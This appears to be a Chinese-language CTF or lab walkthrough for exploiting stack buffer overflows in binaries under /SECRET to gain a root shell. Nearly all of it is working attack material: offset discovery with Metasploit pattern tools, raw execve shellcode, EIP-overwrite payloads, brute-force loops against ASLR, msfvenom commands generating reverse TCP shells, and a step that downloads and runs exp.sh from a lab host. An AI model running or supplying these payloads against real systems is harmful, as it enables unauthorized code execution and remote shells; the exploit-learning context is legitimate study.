方法一
/SECRET/door2/file
/SECRET/door1/file
/SECRET/door3/file
之前枚举到这三个文件中含有缓冲区溢出,root目录下还有防护策略.
ls -lahR
cat /proc/sys/kernel/randomize_va_space
或者:
sysctl -a --pattern randomize
返回2
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
如果没有设置ASLR的话,ldd看到的值也都是固定的。
cat base64.txt | base64 -d > file
https://blog.csdn.net/weixin_42380348/article/details/89959761
source /root/Desktop/6/pwndbg/gdbinit.py
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo ./setup.sh
vi ~/.gdbinit---用哪个就注释即可
git clone https://github.com/longld/peda.git~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
chmod +x file
./file aaaaaaaaaaaaa
./file $(python -c 'print "A" * 2000')
locate pattern_
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
gdb file
run Aa0A.........
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
r $(python -c 'print "A" * 171 + "B" * 4')
run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')
x/s $esp
0xffffc810: '\220' <repeats 200 times>...
peda help shellcode–-- 关于 shellcode 的帮助
shellcode search exec–-- 如何使用 'exec' 搜索所有 shellcode。
shellcode display 841–-- 显示找到的代码的来源
shellcode generate x86/linux exec--– 生成代码
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
checksec
0x ffffc860
ff ff c8 60
\x60\xc8\xff\xff
run $(python -c 'print "A" * 171 + "\x60\xc8\xff\xff" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\xa0\x64\x8b\xbf" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
方法二
https://blog.csdn.net/missmxr/article/details/121451920
objdump -d --no-show-raw-insn file ---查看可执行函数的十六进制显示file
strings file
参考百度百科熟悉strcpy:
https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453?fr=aladdin
https://blog.csdn.net/weixin_30709635/article/details/99100913
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
gdb file
run ....
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
参考:https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/
r $(python -c 'print "A"*171 + "B"*4 + "C"*20')
x/20b $esp
---------
#!/usr/bin/env python
from __future__ import print_function
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
---------
r $(python -c 'print "A"*171 + "B"*4 + ""')
x/256x $esp ---如果出问题就x和b换用
-----------
windows:
msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f py -v
Linux:
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f c
linux2:
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc
payload:
-a 框架选择
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-e 要使用的编码器
-f 编译的语言
-c 指定要包含的附加 win32 shellcode 文件
-v 载荷的名称
------------
objdump -D file | grep -P 'jmp|call' | grep esp
"\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"
------
0xbf96b590
bf 96 b5 90
\x90\xb5\x96\xbf
#!/bin/bash
while true; do
$(find /SECRET -type f -size 5150c) $(python -c 'print "A"*171 + "\x90\xb5\x96\xbf" + "\x90"*20000 + "\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"') 2> /dev/null
sleep 1
done
ls -la ---查看文件大小
-size ---表示文件大小
-type ---文件类型
f 普通文件
-------
wget http://10.211.55.19:8081/exp.sh
chmod +x exp.sh
./exp.sh
学习更多技术,关注我: